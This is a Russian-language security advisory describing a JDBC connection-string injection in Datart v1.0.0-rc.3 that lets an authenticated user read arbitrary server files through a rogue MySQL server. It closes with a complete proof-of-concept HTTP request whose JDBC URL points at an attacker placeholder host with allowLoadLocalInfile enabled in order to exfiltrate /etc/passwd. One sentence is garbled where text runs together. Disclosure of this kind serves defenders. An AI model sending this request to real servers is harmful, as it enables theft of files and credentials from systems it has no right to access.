
Datart v1.0.0-rc.3 Инъекция строки подключения JDBC, приводящая к произвольному чтению файлов
В Datart v1.0.0-rc.3 обнаружена уязвимость произвольного чтения файлов. Приложение не выполняет должную проверку URL-адреса JDBC-соединения при настройке источника данных.
Тип уязвимости: Неправильная проверка ввода (CWE-20) / Произвольное чтение файлов Затронутая версия: Datart v1.0.0-rc.3 Серьёзность: Высокая (возможное раскрытие конфиденциальной информации)
Уязвимость находится в модуле конфигурации источников данных. Приложение не выполняет строгую санитизацию параметра url в JDBC-конфигурации. Удалённый злоумышленник с привилегиями на настройку источников данных может внедрить вредоносные параметры (в частности allowLoadLocalInfile=true) в JDBC URL.
Направив JDBC-соединение на вредоносный MySQL-сервер, контролируемый злоумышленником (Rogue MySQL Server), злоумышленник может инициировать отправку локальных файлов с сервера Datart на свой сервер.
Успешная эксплуатация позволяет аутентифицированному злоумышленнику читать произвольные файлы из файловой системы сервера (например, , конфигурационные файлы, исходный код), что потенциально может привести к компрометации сервера или дальнейшим атакам.
/etc/passwdLOAD DATA LOCAL INFILE (например, с помощью инструментов вроде rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}